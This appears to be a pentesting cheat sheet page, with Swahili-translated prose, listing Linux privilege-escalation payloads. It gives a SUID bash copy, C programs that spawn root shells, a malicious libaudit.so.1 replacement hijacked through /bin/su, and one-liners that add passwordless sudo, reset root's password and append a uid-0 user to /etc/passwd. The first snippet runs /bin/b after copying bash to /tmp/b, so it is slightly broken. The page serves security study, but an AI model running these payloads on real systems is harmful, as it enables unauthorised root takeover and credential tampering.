# Payloads to execute

{{#include ../../banners/hacktricks-training.md}}

## Bash
```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```
## C
```c
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
```

```c
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
```

```c
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>

int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
```
## Kuandika tena faili ili kupandisha mamlaka

### Faili za kawaida

- Ongeza mtumiaji mwenye nenosiri kwenye _/etc/passwd_
- Badilisha nenosiri ndani ya _/etc/shadow_
- Ongeza mtumiaji kwenye sudoers katika _/etc/sudoers_
- Tumia docker kupitia socket ya docker, kawaida katika _/run/docker.sock_ au _/var/run/docker.sock_

### Kuandika tena maktaba

Angalia maktaba inayotumiwa na binary fulani, katika kesi hii `/bin/su`:
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
```
Katika kesi hii, hebu jaribu kujifanya kuwa `/lib/x86_64-linux-gnu/libaudit.so.1`.\
Hivyo, angalia kazi za maktaba hii zinazotumiwa na **`su`** binary:
```bash
objdump -T /bin/su | grep audit
0000000000000000      DF *UND*  0000000000000000              audit_open
0000000000000000      DF *UND*  0000000000000000              audit_log_user_message
0000000000000000      DF *UND*  0000000000000000              audit_log_acct_message
000000000020e968 g    DO .bss   0000000000000004  Base        audit_fd
```
Alama `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` na `audit_fd` huenda zinatoka kwenye maktaba ya libaudit.so.1. Kwa kuwa libaudit.so.1 itabadilishwa na maktaba ya pamoja yenye uharibifu, alama hizi zinapaswa kuwepo kwenye maktaba mpya ya pamoja, vinginevyo programu haitakuwa na uwezo wa kupata alama hiyo na itatoka.
```c
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c

int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;

void inject()__attribute__((constructor));

void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
```
Sasa, kwa kuita **`/bin/su`** utapata shell kama root.

## Scripts

Je, unaweza kumfanya root akatekeleze kitu?

### **www-data kwa sudoers**
```bash
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```
### **Badilisha nenosiri la mzizi**
```bash
echo "root:hacked" | chpasswd
```
### Ongeza mtumiaji mpya wa root kwenye /etc/passwd
```bash
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
```
{{#include ../../banners/hacktricks-training.md}}